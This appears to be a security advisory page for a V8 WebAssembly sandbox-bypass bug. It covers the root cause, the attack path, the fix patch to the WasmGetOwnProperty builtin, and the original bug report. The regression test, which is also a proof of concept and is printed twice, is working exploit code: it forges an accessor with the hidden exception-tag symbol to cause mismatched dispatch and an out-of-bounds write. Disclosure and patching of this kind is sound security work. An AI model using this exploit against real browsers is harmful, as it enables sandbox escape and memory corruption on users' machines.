CVE-2026-87491
Overview
Background
- `WasmGetOwnProperty`
- A V8 builtin the Wasm runtime uses to read a private-symbol property (such as the exception tag) off a caught object without walking into full generic property machinery.
- Private symbol
- An internal, non-enumerable
Symbol(e.g.wasm_exception_tag_symbol) that V8 uses to stamp and later recognize runtime objects like Wasm exceptions. - `GetPropertyWithReceiver`
- A generic, transitioning property-load builtin that traverses the prototype chain and can invoke user-defined accessors (
getters), i.e. run arbitrary JavaScript. - `OpEffects` / `kNeedsContext`
- Compiler metadata (in
builtin-call-descriptors.h) that tells Turboshaft whether a builtin call can allocate, throw, or has side effects, and whether it must be passed aContext.
Root Cause Analysis
The old WasmGetOwnProperty in wasm.tq was implemented as a transitioning Torque builtin that, on finding the property, delegated to GetPropertyWithReceiver, which walks the prototype chain and may invoke JavaScript getters. The Wasm catch lowering in both liftoff-compiler.cc and turboshaft-graph-interface.cc calls this builtin to fetch a caught exception’s tag symbol, and the optimizing compiler treats that call as effectively side-effect-free (it is only supposed to peek at a private symbol). The violated invariant is that this “get own property” operation must run no user code: an attacker-controlled object reaching the lookup could trigger a getter, running arbitrary JS during what the compiler modeled as an allocation-free, side-effect-free tag check, breaking the effect assumptions Turboshaft relies on and enabling out-of-bounds memory corruption.
The fix reimplements WasmGetOwnProperty as a CodeStubAssembler builtin (builtins-wasm-gen.cc) that performs a real own-property lookup via TryLookupPropertyInSimpleObject, explicitly rejects non-kData properties and lazy closures, and returns undefined instead of ever invoking an accessor. Because it no longer runs JS or needs a Context, the descriptor’s kNeedsContext is set to false and both call sites drop the native-context argument, restoring the guarantee that the builtin is genuinely side-effect-free.
GetPropertyWithReceiver, which can invoke JavaScript getters; the fix replaces it with a pure own-data-property lookup that returns undefined for accessors, so the “no side effects” contract actually holds.Attack Path
- Reach the tag check
Attacker Wasm code throws and catches an exception so the runtime invokes
WasmGetOwnPropertyto read the exception tag symbol. - Substitute an accessor
The object presented to the lookup carries the queried symbol as an accessor (or an object whose property path hits a
getter) rather than a plain data property. - Run JS mid-builtin
The old
GetPropertyWithReceiverpath invokes thatgetter, executing attacker JavaScript during a call the optimizer modeled as pure and non-allocating. - Break compiler assumptions The unexpected side effects (allocation, heap mutation, re-entrancy) violate Turboshaft’s effect model, invalidating optimizations around the call.
- Out-of-bounds write The mismatched assumptions lead to memory being written outside its intended bounds in the Wasm/V8 pipeline.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
TF_BUILTINsrc/builtins/builtins-wasm-gen.cc |
modified | |
fortest/mjsunit/sandbox/regress/regress-543557673.js |
modified | |
gettest/mjsunit/sandbox/regress/regress-543557673.js |
modified |
Files Changed
test/mjsunit/sandbox/regress/regress-543557673.jssrc/compiler/turboshaft/builtin-call-descriptors.hsrc/builtins/builtins-definitions.hsrc/wasm/turboshaft-graph-interface.ccsrc/builtins/builtins-wasm-gen.ccsrc/wasm/baseline/liftoff-compiler.ccsrc/builtins/wasm.tq
Audit Directions
- Side-effect-free builtins that reuse generic property loadsAudit any builtin the compiler models as pure or non-allocating (
kNoThrow, noCanAllocate) that internally callsGetPropertyWithReceiver,GetProperty, or other prototype-walking loads capable of invokinggetters. - Own-property intent vs. prototype-chain realityFlag code that means “check an own private symbol” but is implemented with helpers that traverse the prototype chain or run accessors; require explicit
kData/own-property checks likeTryLookupPropertyInSimpleObject. - Effect-metadata driftReview
builtin-call-descriptors.hentries wherekEffectsorkNeedsContextunderstate a builtin’s real behavior, and verify each Liftoff/Turboshaft call site’s argument list matches the builtin’s actual effect and context requirements.
Patch
From 36079c36283aaf3d0cee0797e46ddc278988f7f2 Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Tue, 11 Aug 2026 20:27:41 +0200 Subject: [PATCH] [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin We want this builtin to have no side effects, so it should not invoke any getters. Fixed: 543557673 Change-Id: Ifa3c166e54f2084524c562ba2f57d55e0a51bff6 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8234942 Auto-Submit: Jakob Kummerow <[email protected]> Commit-Queue: Jakob Kummerow <[email protected]> Reviewed-by: Thibaud Michaud <[email protected]> Cr-Commit-Position: refs/heads/main@{#109190} --- diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 4197662..cd7a18b 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -1497,6 +1497,7 @@ IF_WASM(TFC, WasmFloat64ToNumber, WasmFloat64ToTagged) \ IF_WASM(TFC, WasmFloat64ToString, WasmFloat64ToTagged) \ IF_WASM(TFC, JSToWasmLazyDeoptContinuation, SingleParameterOnStack) \ + IF_WASM(TFS, WasmGetOwnProperty, NeedsContext{false}, kObject, kSymbol) \ \ /* WeakMap */ \ TFJ(WeakMapConstructor, kDontAdaptArgumentsSentinel) \ diff --git a/src/builtins/builtins-wasm-gen.cc b/src/builtins/builtins-wasm-gen.cc index 92ffd89..3ba93d9 100644 --- a/src/builtins/builtins-wasm-gen.cc +++ b/src/builtins/builtins-wasm-gen.cc @@ -266,6 +266,71 @@ return IsPageFlagSet(address, MemoryChunk::kInSharedHeap); } +// Wasm uses private symbols (e.g. wasm_exception_tag_symbol) to stamp certain +// objects. This builtin checks for presence of such symbols; it is a +// specialization of "GetOwnProperty" behavior: if the object is not a plain +// JS object or the property is not an own data property, return undefined. +// To allow compilers to assume no side effects from this builtin, it's +// particularly important to not invoke any getters. +TF_BUILTIN(WasmGetOwnProperty, WasmBuiltinsAssembler) { + TNode<Object> object = Parameter<Object>(Descriptor::kObject); + TNode<Symbol> symbol = Parameter<Symbol>(Descriptor::kSymbol); + + Label return_undefined(this, Label::kDeferred); + + GotoIf(TaggedIsSmi(object), &return_undefined); + TNode<HeapObject> heap_object = CAST(object); + + TNode<Map> map = LoadMap(heap_object); + TNode<Int32T> instance_type = LoadMapInstanceType(map); + + GotoIfNot(IsJSReceiverInstanceType(instance_type), &return_undefined); + GotoIf(IsSpecialReceiverInstanceType(instance_type), &return_undefined); + + TNode<JSObject> js_object = CAST(heap_object); + + { + TVARIABLE(HeapObject, var_meta_storage); + TVARIABLE(IntPtrT, var_entry); + TVARIABLE(Object, var_value); + TVARIABLE(Uint32T, var_details); + Label if_found_fast(this), if_found_dict(this), got_value(this); + + TryLookupPropertyInSimpleObject( + js_object, map, symbol, &if_found_fast, &if_found_dict, + &var_meta_storage, &var_entry, &return_undefined, &return_undefined); + + BIND(&if_found_fast); + { + TNode<DescriptorArray> descriptors = CAST(var_meta_storage.value()); + LoadPropertyFromFastObject(js_object, map, descriptors, var_entry.value(), + &var_details, &var_value); + Goto(&got_value); + } + + BIND(&if_found_dict); + { + TNode<PropertyDictionary> dictionary = CAST(var_meta_storage.value()); + LoadPropertyFromDictionary(dictionary, var_entry.value(), &var_details, + &var_value); + Goto(&got_value); + } + + BIND(&got_value); + { + TNode<Uint32T> kind = + DecodeWord32<PropertyDetails::KindField>(var_details.value()); + constexpr int kData = static_cast<int>(PropertyKind::kData); + GotoIfNot(Word32Equal(kind, Int32Constant(kData)), &return_undefined); + GotoIfLazyClosure(CAST(var_value.value()), &return_undefined); + Return(var_value.value()); + } + } + + BIND(&return_undefined); + Return(UndefinedConstant()); +} + #include "src/codegen/undef-code-stub-assembler-macros.inc" } // namespace v8::internal diff --git a/src/builtins/wasm.tq b/src/builtins/wasm.tq index 8c07ddd..09581b6 100644 --- a/src/builtins/wasm.tq +++ b/src/builtins/wasm.tq @@ -832,35 +832,6 @@ return TargetAndImplicitArg{target: target, implicit_arg: implicitArg}; } -extern macro TryHasOwnProperty(HeapObject, Map, InstanceType, Name): never - labels Found, NotFound, Bailout; -type OnNonExistent constexpr 'OnNonExistent'; -const kReturnUndefined: constexpr OnNonExistent - generates 'OnNonExistent::kReturnUndefined'; -extern macro SmiConstant(constexpr OnNonExistent): Smi; -extern transitioning builtin GetPropertyWithReceiver( - implicit context: Context)(JSAny, Name, JSAny, Smi): JSAny; - -transitioning builtin WasmGetOwnProperty( - implicit context: Context)(object: Object, uniqueName: Name): JSAny { - try { - const heapObject: HeapObject = - TaggedToHeapObject(object) otherwise NotFound; - const receiver: JSReceiver = - Cast<JSReceiver>(heapObject) otherwise NotFound; - try { - TryHasOwnProperty( - receiver, receiver.map, receiver.instanceType, uniqueName) - otherwise Found, NotFound, NotFound; - } label Found { - return GetPropertyWithReceiver( - receiver, uniqueName, receiver, SmiConstant(kReturnUndefined)); - } - } label NotFound deferred { - return Undefined; - } -} - // Trap builtins. builtin WasmTrap(error: Smi): JSAny { diff --git a/src/compiler/turboshaft/builtin-call-descriptors.h b/src/compiler/turboshaft/builtin-call-descriptors.h index e07a6f0e..c73e1d6 100644 --- a/src/compiler/turboshaft/builtin-call-descriptors.h +++ b/src/compiler/turboshaft/builtin-call-descriptors.h @@ -1123,14 +1123,10 @@ using results_t = std::tuple<V<Object>>; static constexpr bool kNeedsFrameState = false; - static constexpr bool kNeedsContext = true; + static constexpr bool kNeedsContext = false; static constexpr Operator::Properties kProperties = Operator::kNoThrow; - // Calls {GetPropertyWithReceiver}, which has paths that can allocate, - // but from this caller we won't reach them. Nevertheless, to please the - // verifier we currently have no other choice than setting the CanAllocate - // effect here. - // TODO(dmercadier): Support overriding the automatic can-allocate - // inference. + // Can allocate a HeapNumber when it encounters a MutableHeapNumber. This + // won't happen in practice, but can-allocate verification detects it. static constexpr OpEffects kEffects = base_effects.CanReadHeapMemory().CanAllocate(); }; diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc index db1d96e..adfe3bf 100644 --- a/src/wasm/baseline/liftoff-compiler.cc +++ b/src/wasm/baseline/liftoff-compiler.cc @@ -1868,16 +1868,12 @@ LiftoffRegister tag_symbol_reg = pinned.set(__ GetUnusedRegister(kGpReg, pinned)); LoadExceptionSymbol(tag_symbol_reg.gp(), pinned, root_index); - LiftoffRegister context_reg = - pinned.set(__ GetUnusedRegister(kGpReg, pinned)); - LOAD_TAGGED_PTR_INSTANCE_FIELD(context_reg.gp(), NativeContext, pinned); VarState tag_symbol{kRef, tag_symbol_reg, 0}; - VarState context{kRef, context_reg, 0}; CallBuiltin(Builtin::kWasmGetOwnProperty, - MakeSig::Returns(kRef).Params(kRef, kRef, kRef), - {exception, tag_symbol, context}, kNoSourcePosition); + MakeSig::Returns(kRef).Params(kRef, kRef), + {exception, tag_symbol}, kNoSourcePosition); return LiftoffRegister(kReturnRegister0); } diff --git a/src/wasm/turboshaft-graph-interface.cc b/src/wasm/turboshaft-graph-interface.cc index 84d581c..5dc6fe2 100644 --- a/src/wasm/turboshaft-graph-interface.cc +++ b/src/wasm/turboshaft-graph-interface.cc @@ -3851,12 +3851,10 @@ BindBlockAndGeneratePhis(decoder, block->false_or_loop_or_catch_block, nullptr, &block->exception); - V<NativeContext> native_context = instance_cache_.native_context(); V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast( CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>( - decoder, native_context, - {block->exception, - __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()})); + decoder, {block->exception, + __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()})); // TODO(14616): Support shared tags. V<TrustedFixedArray> instance_tags = LOAD_IMMUTABLE_PROTECTED_INSTANCE_FIELD( @@ -3887,7 +3885,7 @@ IF (UNLIKELY(caught_tag_undefined)) { V<Object> tag_object = __ Load( - native_context, LoadOp::Kind::TaggedBase(), + instance_cache_.native_context(), LoadOp::Kind::TaggedBase(), MemoryRepresentation::TaggedPointer(), NativeContext::OffsetOfElementAt(Context::WASM_JS_TAG_INDEX)); V<Object> js_tag = __ Load(tag_object, LoadOp::Kind::TaggedBase(), @@ -3987,12 +3985,10 @@ BrOrRet(decoder, catch_case.br_imm.depth); return; } - V<NativeContext> native_context = instance_cache_.native_context(); V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast( CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>( - decoder, native_context, - {block->exception, - __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()})); + decoder, {block->exception, + __ LoadRoot<RootIndex::kwasm_exception_tag_symbol>()})); // TODO(14616): Support shared tags. V<TrustedFixedArray> instance_tags = LOAD_IMMUTABLE_PROTECTED_INSTANCE_FIELD( @@ -4024,7 +4020,7 @@ IF (UNLIKELY(caught_tag_undefined)) { V<Object> tag_object = __ Load( - native_context, LoadOp::Kind::TaggedBase(), + instance_cache_.native_context(), LoadOp::Kind::TaggedBase(), MemoryRepresentation::TaggedPointer(), NativeContext::OffsetOfElementAt(Context::WASM_JS_TAG_INDEX)); V<Object> js_tag = __ Load(tag_object, LoadOp::Kind::TaggedBase(), @@ -8909,7 +8905,7 @@ base::Vector<Value> values) { V<FixedArray> exception_values_array = V<FixedArray>::Cast( CallBuiltinThroughJumptable<BuiltinCallDescriptor::WasmGetOwnProperty>( - decoder, instance_cache_.native_context(), + decoder, {exception, __ LoadRoot<RootIndex::kwasm_exception_values_symbol>()})); diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js new file mode 100644 index 0000000..ddf0591 --- /dev/null +++ b/test/mjsunit/sandbox/regress/regress-543557673.js @@ -0,0 +1,125 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --sandbox-testing --allow-natives-syntax + +const moduleABytes = new Uint8Array([ + 0, 97, 115, 109, 1, 0, 0, 0, 1, 22, 5, 96, 0, 1, 127, + 96, 1, 111, 0, 96, 0, 1, 111, 96, 1, 127, 1, 127, 96, 0, + 1, 127, 2, 27, 2, 1, 109, 9, 102, 117, 110, 99, 116, 105, 111, + 110, 115, 1, 112, 1, 1, 1, 1, 109, 3, 116, 97, 103, 4, 0, + 1, 3, 3, 2, 3, 4, 4, 5, 1, 105, 1, 1, 1, 6, 32, + 6, 127, 1, 65, 239, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65, + 0, 11, 127, 1, 65, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65, + 0, 11, 7, 30, 3, 10, 101, 120, 99, 101, 112, 116, 105, 111, 110, + 115, 1, 1, 6, 100, 114, 105, 118, 101, 114, 0, 0, 4, 115, 101, + 101, 100, 0, 1, 10, 48, 2, 41, 0, 65, 0, 17, 0, 0, 26, + 32, 0, 4, 64, 2, 2, 31, 2, 1, 0, 0, 0, 65, 0, 37, + 1, 10, 11, 11, 26, 65, 0, 36, 5, 65, 0, 17, 0, 0, 15, + 11, 65, 0, 11, 4, 0, 65, 7, 11, 0, 22, 4, 110, 97, 109, + 101, 1, 15, 2, 0, 6, 100, 114, 105, 118, 101, 114, 1, 4, 115, + 101, 101, 100, +]); +const moduleDBytes = new Uint8Array([ + 0, 97, 115, 109, 1, 0, 0, 0, 1, 13, 3, 96, 0, 1, 127, + 96, 0, 1, 127, 96, 0, 1, 127, 3, 4, 3, 0, 1, 2, 7, + 10, 1, 6, 116, 97, 114, 103, 101, 116, 0, 2, 10, 17, 3, 4, + 0, 65, 0, 11, 4, 0, 65, 1, 11, 5, 0, 65, 222, 1, 11, + 0, 28, 4, 110, 97, 109, 101, 1, 21, 3, 0, 4, 112, 97, 100, + 48, 1, 4, 112, 97, 100, 49, 2, 6, 116, 97, 114, 103, 101, 116 +]); + +const kHeapObjectTag = 1; +const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); +const read32 = address => memory.getUint32(address, true); +const write32 = (address, val) => memory.setUint32(address, val >>> 0, true); +const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0; + +function instanceTypeAt(address) { + try { + return Sandbox.getInstanceTypeOfObjectAt(address); + } catch (_) { + return undefined; + } +} + +function descriptorArrayOf(object) { + const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag; + const size = Sandbox.getSizeOfObjectAt(map); + for (let offset = 0; offset < size; offset += 4) { + const candidate = read32(map + offset) & ~kHeapObjectTag; + if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate; + } + throw new Error('descriptor array not found'); +} + +function findTaggedWord(objectAddress, expectedType, expectedValue) { + const size = Sandbox.getSizeOfObjectAt(objectAddress); + for (let offset = 0; offset < size; offset += 4) { + const value = read32(objectAddress + offset); + if (expectedValue !== undefined && value !== expectedValue) continue; + if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) { + return {offset, value}; + } + } + throw new Error(`tagged ${expectedType} word not found`); +} + +const table = + new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1}); +const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes)); +const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), { + m: {functions: table, tag: WebAssembly.JSTag}, +}); +if (d.exports.target() !== 222) throw new Error('D target sanity failed'); + +// Recover the private exception-tag symbol from a genuine exception. +const genuine = + new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []); +const genuineDescriptors = descriptorArrayOf(genuine); +const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value; + +let getterCount = 0; +const forged = Object.defineProperty({}, 'x', { + get() { + ++getterCount; + table.set(0, d.exports.target); + return undefined; + }, + configurable: true, +}); + +// Replace only the one-property donor descriptor's key. Its accessor details +// and AccessorPair remain unchanged. +const forgedDescriptors = descriptorArrayOf(forged); +const xName = Object.getOwnPropertyNames(forged)[0]; +const descriptorKey = findTaggedWord( + forgedDescriptors, + Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)), + tagged(xName)); +write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol); + +// Put the ordinary JSReceiver into the backing FixedArray of the exported +// Wasm-declared exnref table. +const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE'); +const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries'); +const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE'); +const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data'); +const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions); +const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag; +write32(entries + fixedArrayDataOffset, tagged(forged)); + +// Only the first call_indirect site receives feedback and is inlined. The +// second site remains uninitialized and therefore generic. +table.set(0, a.exports.seed); +for (let i = 0; i < 20; ++i) { + if (a.exports.driver(0) !== 0) throw new Error('training failed'); +} +%WasmTierUpFunction(a.exports.driver); +if (a.exports.driver(0) !== 0) throw new Error('optimized training failed'); + +const result = a.exports.driver(1); +const tableChanged = table.get(0) === d.exports.target; +assertEquals(getterCount, 0); +assertFalse(tableChanged);
Regression Test / PoC
diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js
new file mode 100644
index 0000000..ddf0591
--- /dev/null
+++ b/test/mjsunit/sandbox/regress/regress-543557673.js
@@ -0,0 +1,125 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing --allow-natives-syntax
+
+const moduleABytes = new Uint8Array([
+ 0, 97, 115, 109, 1, 0, 0, 0, 1, 22, 5, 96, 0, 1, 127,
+ 96, 1, 111, 0, 96, 0, 1, 111, 96, 1, 127, 1, 127, 96, 0,
+ 1, 127, 2, 27, 2, 1, 109, 9, 102, 117, 110, 99, 116, 105, 111,
+ 110, 115, 1, 112, 1, 1, 1, 1, 109, 3, 116, 97, 103, 4, 0,
+ 1, 3, 3, 2, 3, 4, 4, 5, 1, 105, 1, 1, 1, 6, 32,
+ 6, 127, 1, 65, 239, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65,
+ 0, 11, 127, 1, 65, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65,
+ 0, 11, 7, 30, 3, 10, 101, 120, 99, 101, 112, 116, 105, 111, 110,
+ 115, 1, 1, 6, 100, 114, 105, 118, 101, 114, 0, 0, 4, 115, 101,
+ 101, 100, 0, 1, 10, 48, 2, 41, 0, 65, 0, 17, 0, 0, 26,
+ 32, 0, 4, 64, 2, 2, 31, 2, 1, 0, 0, 0, 65, 0, 37,
+ 1, 10, 11, 11, 26, 65, 0, 36, 5, 65, 0, 17, 0, 0, 15,
+ 11, 65, 0, 11, 4, 0, 65, 7, 11, 0, 22, 4, 110, 97, 109,
+ 101, 1, 15, 2, 0, 6, 100, 114, 105, 118, 101, 114, 1, 4, 115,
+ 101, 101, 100,
+]);
+const moduleDBytes = new Uint8Array([
+ 0, 97, 115, 109, 1, 0, 0, 0, 1, 13, 3, 96, 0, 1, 127,
+ 96, 0, 1, 127, 96, 0, 1, 127, 3, 4, 3, 0, 1, 2, 7,
+ 10, 1, 6, 116, 97, 114, 103, 101, 116, 0, 2, 10, 17, 3, 4,
+ 0, 65, 0, 11, 4, 0, 65, 1, 11, 5, 0, 65, 222, 1, 11,
+ 0, 28, 4, 110, 97, 109, 101, 1, 21, 3, 0, 4, 112, 97, 100,
+ 48, 1, 4, 112, 97, 100, 49, 2, 6, 116, 97, 114, 103, 101, 116
+]);
+
+const kHeapObjectTag = 1;
+const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+const read32 = address => memory.getUint32(address, true);
+const write32 = (address, val) => memory.setUint32(address, val >>> 0, true);
+const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0;
+
+function instanceTypeAt(address) {
+ try {
+ return Sandbox.getInstanceTypeOfObjectAt(address);
+ } catch (_) {
+ return undefined;
+ }
+}
+
+function descriptorArrayOf(object) {
+ const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag;
+ const size = Sandbox.getSizeOfObjectAt(map);
+ for (let offset = 0; offset < size; offset += 4) {
+ const candidate = read32(map + offset) & ~kHeapObjectTag;
+ if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate;
+ }
+ throw new Error('descriptor array not found');
+}
+
+function findTaggedWord(objectAddress, expectedType, expectedValue) {
+ const size = Sandbox.getSizeOfObjectAt(objectAddress);
+ for (let offset = 0; offset < size; offset += 4) {
+ const value = read32(objectAddress + offset);
+ if (expectedValue !== undefined && value !== expectedValue) continue;
+ if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) {
+ return {offset, value};
+ }
+ }
+ throw new Error(`tagged ${expectedType} word not found`);
+}
+
+const table =
+ new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1});
+const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes));
+const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), {
+ m: {functions: table, tag: WebAssembly.JSTag},
+});
+if (d.exports.target() !== 222) throw new Error('D target sanity failed');
+
+// Recover the private exception-tag symbol from a genuine exception.
+const genuine =
+ new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []);
+const genuineDescriptors = descriptorArrayOf(genuine);
+const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value;
+
+let getterCount = 0;
+const forged = Object.defineProperty({}, 'x', {
+ get() {
+ ++getterCount;
+ table.set(0, d.exports.target);
+ return undefined;
+ },
+ configurable: true,
+});
+
+// Replace only the one-property donor descriptor's key. Its accessor details
+// and AccessorPair remain unchanged.
+const forgedDescriptors = descriptorArrayOf(forged);
+const xName = Object.getOwnPropertyNames(forged)[0];
+const descriptorKey = findTaggedWord(
+ forgedDescriptors,
+ Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)),
+ tagged(xName));
+write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol);
+
+// Put the ordinary JSReceiver into the backing FixedArray of the exported
+// Wasm-declared exnref table.
+const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE');
+const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries');
+const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE');
+const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data');
+const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions);
+const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag;
+write32(entries + fixedArrayDataOffset, tagged(forged));
+
+// Only the first call_indirect site receives feedback and is inlined. The
+// second site remains uninitialized and therefore generic.
+table.set(0, a.exports.seed);
+for (let i = 0; i < 20; ++i) {
+ if (a.exports.driver(0) !== 0) throw new Error('training failed');
+}
+%WasmTierUpFunction(a.exports.driver);
+if (a.exports.driver(0) !== 0) throw new Error('optimized training failed');
+
+const result = a.exports.driver(1);
+const tableChanged = table.get(0) === d.exports.target;
+assertEquals(getterCount, 0);
+assertFalse(tableChanged);
Original Bug Report
V8 Sandbox Bypass: WasmGetOwnProperty's no-write/no-throw effects allow a forged accessor to create mixed call_indirect dispatch and a native tiering-budget OOB write
Report description
V8 Sandbox Bypass: WasmGetOwnProperty’s no-write/no-throw effects allow a forged accessor to create mixed call_indirect dispatch and a native tiering-budget OOB write
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://source.chromium.org/chromium/chromium/src
The problem
Please describe the technical details of the vulnerability
BuiltinCallDescriptor::WasmGetOwnProperty is modeled as non-throwing and as reading and allocating, but not writing memory:
// v8/src/compiler/turboshaft/builtin-call-descriptors.h:1120-1135
static constexpr Operator::Properties kProperties = Operator::kNoThrow;
static constexpr OpEffects kEffects =
base_effects.CanReadHeapMemory().CanAllocate();
This contract is weaker than the implementation. The Torque builtin calls GetPropertyWithReceiver() when it finds the requested own property, and an accessor descriptor causes that operation to invoke arbitrary JavaScript. The callback can write memory, allocate, change control flow, and throw, so the call must be modeled as CanCallAnything() and must not use Operator::kNoThrow.
All inputs used to interpret the hidden exception property are inside the V8 sandbox. A sandbox attacker can copy the genuine wasm_exception_tag_symbol into an accessor descriptor and reach WasmGetOwnProperty through an exnref table, throw_ref, and a WebAssembly.JSTag catch. The accessor can therefore mutate an imported function table during this nominally read-only call.
The optimized driver function belongs to the driver instance, and the imported function table initially contains seed, another function exported by the driver instance. The getter replaces seed with target, a function exported by a separate replacement instance. Because the descriptor has no write effect, Late Load Elimination does not invalidate the WasmDispatchTable tuple loaded before the callback. The later call_indirect can consequently combine the replacement instance’s reloaded target with the protected_implicit_arg previously loaded for the driver instance, executing target with the driver instance’s WasmTrustedInstanceData.
PoC
The attached poc.js embeds a driver module that exports driver, seed, and the exnref table, plus a replacement module that exports target. Sandbox.MemoryView is used only to model the prerequisite arbitrary read/write access inside the V8 sandbox: it copies the genuine hidden exception-tag symbol into the accessor descriptor and places the accessor object in the exported exnref table. The getter replaces seed with target in the imported function table and returns undefined, allowing the catch body and its second call_indirect to execute.
The supporting non-crashing semantic-poc.js observes the mixed tuple through instance-specific globals. The driver instance exports the optimized driver function and owns the imported function table; the replacement instance exports the function installed into that table. Coherent dispatch of the replacement function with the replacement instance returns the replacement instance’s global value 222, while vulnerable dispatch of the same function with the driver instance returned the driver instance’s global value 111 in 10/10 independent runs:
RESULT=111 GETTER_COUNT=1 TABLE_CHANGED=true
The crashing PoC gives the driver module two declared functions, so the driver instance’s tiering-budget allocation contains only indices 0 and 1. The replacement module exports a Liftoff function whose declared function index is 2. Dynamic tiering loads the budget base from the driver instance’s stale WasmTrustedInstanceData and obtains index 2 from the replacement function, so wasm::TriggerTierUp writes driver_instance.tiering_budget_array()[2], exactly one element past the driver instance’s 8-byte native allocation.
Reproduce
The attachment was confirmed with asan-v8-sandbox-testing-linux-release-1669311.zip.
ASAN_OPTIONS='detect_leaks=0:abort_on_error=1:symbolize=1' \
/path/to/d8 \
--run-as-sandbox-security-poc \
--allow-natives-syntax \
/path/to/poc.js
Impact analysis
An attacker with arbitrary read/write access inside the V8 sandbox can invoke JavaScript from a Wasm exception metadata lookup without the compiler accounting for the callback, execute the replacement Liftoff function with the driver instance’s WasmTrustedInstanceData, and perform a native 4-byte heap-buffer-overflow outside the driver instance’s tiering-budget allocation.
The cause
What version of Chrome have you found the security issue in?
153.0.7978.0
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Sandbox Escape